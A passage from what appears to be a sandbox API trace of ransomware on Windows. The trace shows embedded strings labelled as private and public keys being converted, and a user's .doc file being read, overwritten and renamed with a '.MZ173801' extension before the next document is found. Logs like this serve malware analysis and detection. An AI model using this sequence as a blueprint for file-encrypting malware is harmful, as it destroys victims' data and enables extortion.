Ds8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.549] GetCurrentThreadId () returned 0xab4 [0169.549] GetCurrentThreadId () returned 0xab4 [0169.549] GetCurrentThreadId () returned 0xab4 [0169.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.550] GetCurrentThreadId () returned 0xab4 [0169.550] GetCurrentThreadId () returned 0xab4 [0169.550] GetCurrentThreadId () returned 0xab4 [0169.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Ng-XMX.doc" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ng-xmx.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.550] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.550] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.550] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x10fd [0169.550] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.550] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x10fd, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0x10fd, lpOverlapped=0x0) returned 1 [0169.551] CloseHandle (hObject=0x2f8) returned 1 [0169.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Ng-XMX.doc" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ng-xmx.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.552] WriteFile (in: hFile=0x2f8, lpBuffer=0x24a9e70*, nNumberOfBytesToWrite=0x10fd, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a9e70*, lpNumberOfBytesWritten=0x19f758*=0x10fd, lpOverlapped=0x0) returned 1 [0169.553] CloseHandle (hObject=0x2f8) returned 1 [0169.553] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Ng-XMX.doc" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ng-xmx.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Ng-XMX.doc.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ng-xmx.doc.mz173801")) returned 1 [0169.553] GetCurrentThreadId () returned 0xab4 [0169.554] GetCurrentThreadId () returned 0xab4 [0169.554] GetCurrentThreadId () returned 0xab4 [0169.554] GetCurrentThreadId () returned 0xab4 [0169.554] GetCurrentThreadId () returned 0xab4 [0169.554] GetCurrentThreadId () returned 0xab4 [0169.554] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5173310, ftCreationTime.dwHighDateTime=0x1d5ec1e, ftLastAccessTime.dwLowDateTime=0x55af6070, ftLastAccessTime.dwHighDateTime=0x1d5f0a3, ftLastWriteTime.dwLowDateTime=0x55af6070, ftLastWriteTime.dwHighDateTime=0x1d5f0a3, nFileSizeHigh=0x0, nFileSizeLow=0x105e8, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="p6t1b-Chc.docx", cAlternateFileName="P6T1B-~1.DOC")) returned 1 [0169.554] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.554] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.554] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\p6t1b-Chc.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\p6t1b-chc.docx"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5173310, ftCreationTime.dwHighDateTime=0x1d5ec1e, ftLastAccessTime.dwLowDateTime=0x55af6070, ftLastAccessTime.dwHighDateTime=0x1d5f0a3, ftLastWriteTime.dwLowDateTime=0x55af6070, ftLastWriteTime.dwHighDateTime=0x1d5f0a3, nFileSizeHigh=0x0, nFileSizeLow=0x105e8)) returned 1 [0169.554] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\p6t1b-Chc.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\p6t1b-chc.docx")) returned 0x20 [0169.554] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\p6t1b-Chc.docx", dwFileAttributes=0x80) returned 1 [0169.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.556] GetCurrentThreadId () returned 0xab4 [0169.556] GetCurrentThreadId () returned 0xab4 [0169.556] GetCurrentThreadId () returned 0xab4 [0169.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 